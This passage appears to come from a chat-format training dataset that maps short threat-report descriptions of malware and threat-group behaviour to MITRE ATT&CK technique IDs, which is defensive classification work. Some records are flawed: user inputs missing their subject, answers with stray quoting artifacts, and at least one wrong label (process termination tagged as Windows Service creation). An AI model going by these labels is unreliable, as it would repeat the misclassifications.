                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise encrypts several of its files, including configuration files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, a small number of campaigns over this same period also made use of various file-sharing platforms like Dropbox for hosting the malicious documents rather than directly attaching them to the messages themselves.Figure 2: Example malicious Excel documentSimilar to the technique described in our previous blog about Remcos, the contents of the documents have been intentionally made to appear as if they are blurry, with the user being prompted to enable editing to have a clearer view of the contents"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMould can send commands to C2 in the body of HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor has used cmd.exe to run its self deletion routine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the ‘-p’ parameter has been passed into the command line, the loader proceeds to download the Team9 backdoor directly from the command and control server. One notable addition is the process injection (hollow process injection) when the backdoor has been successfully downloaded and decrypted. The loader injects the backdoor to one of the following processes"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1055.013 - Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the Camellia cipher to encrypt communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT uses mshta.exe to run malicious scripts on the system."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In mid-2018, OceanLotus carried out a campaign using documents abusing the weakness exposed by the CVE-2017-11882 vulnerability. One of the malicious documents used by OceanLotus was analysed by 360 Threat Intelligence Center (in Chinese) and includes details about the exploit. Let’s take a look at a similar document"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to get text of the current foreground window."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can send collected data in JSON format to C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the host-based enumeration information was obtained, it was base64-encoded and then appended to the URL post request to a C2, whereas in previous versions this information was written to a text file."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex has encrypted traffic with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Targets are approached with spearphishing emails that contain a link to a ZIP file hosted on Google Drive. That archive contains several LNK (aka shortcut) files that extract and execute a malicious JavaScript component, while displaying a decoy document"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can scan for removable media which may contain documents for collection."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Receive a file path from the C2 for a file to read. The target file is read and then split into smaller files named \"&lt;target_filename&gt;.part_&lt;part_number&gt;\" and stored on disk. This capability can be used to break large files of interest into smaller chunks to prepare them for exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can identify administrator accounts on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mythic can leverage a peer-to-peer C2 profile between agents."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first action performed by the crypter code is to check some specific registry key. If the key is not detected, the crypter will enter an infinite loop or exit, thus it is used as an anti-analysis technique"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex has used \".cmd\" scripts on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used \"netstat -ano | findstr EST\" to discover network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Returns the screenshot to the C2 via: <img src=’data:image/jpeg;base64,[base64 of screenshot]’ width=800 height=500 /><br>   111 startTakeScreenShot Creates a thread to take a screenshot at a set interval (default: every 10 seconds)"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has compromised domains to use for C2."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can terminate a specific process by its process id."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a built-in module for port scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon has used the Windows Crypto API to generate an AES key."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon accesses network share(s), enables share access to the target device, copies an executable payload to the target system, and uses a Scheduled Task/Job to execute the malware."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa has executed a malicious executable by naming it svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes functions using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the Microsoft  utility to list processes running on systems."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The decrypted result is saved as “%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe” (T1001) 6) If the file size of “%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe” exceeds 4,485 bytes, it is executed"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to use a Microsoft Outlook backdoor macro to communicate with its C2."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used various forms of spearphishing attempting to get a user to open attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Other functionalities provided by this section of the PowerShell Script are as follows:  Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables: IP Address from Network Adapter Configuration OS Name OS Architecture Computer Name Computer Domain Name Username    All of this data is concatenated and formatted as shown in Figure 13:    Figure 13: Concatenated and formatted data retrieved by PowerShell script  Register the victim’s machine to the C2 server by sending the REGISTER command to the server"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has relied upon users clicking on a malicious attachment delivered through spearphishing."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains the getInfoOSX function to return the OS X version as well as the current user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can dump credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit reflectively loads a Windows PE file into a process."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles used timestomping to modify the $STANDARD_INFORMATION attribute on tools."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network Reconnaissance – gathering information from machines on the network. Credential Theft – stealing user names and passwords, potentially to provide them with further access to the victim network. RAR archiving – files are transferred to staging servers before exfiltration. Csvde – can be used to extract Active Directory files and data. WMIExec – can be used for lateral movement and to execute commands remotely. PowerShell - a powerful interactive command-line interface and scripting environment included in the Windows operating system"
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet uses HTTP to communicate with a command and control server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang performs service discovery using \"net start\" commands."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OLDBAIT collects credentials from several email clients."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mori can read data from the Registry including from `HKLM\\Software\\NFC\\IPA` and\n`HKLM\\Software\\NFC\\`."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 was able to get SUNBURST signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has deleted existing logs and exfiltrated file archives from a victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell. In addition to acting as a web shell, the malware captures and DES-encrypts credentials before writing the username and password to disk. The OwaAuth web shell enables a threat actor to upload and download files, launch processes, and execute SQL queries"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon uses the command \"net time \\\\127.0.0.1\" to get information the system’s time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The installer looks legitimate and has a valid digital signature from Sectigo (Obtain Capabilities: Digital Certificates [T1588.004]). The signature was signed with a code signing certificate purchased by the same user as the SSL certificate for jmttrading[.]org (Obtain Capabilities: Code Signing Certificates [T1588.003]). The MSI Installer asks the victim for administrative privileges to run (User Execution: Malicious File [T1204.002"
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve can use HTTPS in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After initial installation, Raindrop runs a computation to delay execution."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, and CVE-2015-1641."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BendyBear can query the host's Registry key at \"HKEY_CURRENT_USER\\Console\\QuickEdit\" to retrieve data."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On the other hand, FIN7 takes advantage of Mshta, a utility that can execute VBScript, and scheduled tasks to run malicious code on user systems."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job', 'T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has used \"net.exe user\" and \"net.exe users\" to enumerate local accounts on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, the following sample loads the malware as shellcode within a .NET Framework project using msbuild.exe, effectively bypassing application allowlisting techniques"
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "at can be used to schedule a task on a system to be executed at a specific date or time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has sent malicious files requiring direct victim interaction to execute."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get-ProcessTokenGroup Privesc-PowerUp module can enumerate all SIDs associated with its current token."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic uses the \"rem reg query\" command to obtain values from Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One archive sample analyzed by CTU researchers contained a legitimate PDF file, a benign image of interest to targets (see Figure 8), and an HttpBrowser installer disguised as an image file"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 staged data and files in password-protected archives on a victim's OWA server."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has used PsExec to stop services prior to the execution of ransomware."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can gather the user accounts within domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This system configuration file (in.sys) will drop a backdoor installer (UserInstall.exe) then delete itself"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT-C-36 has used port 4050 for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
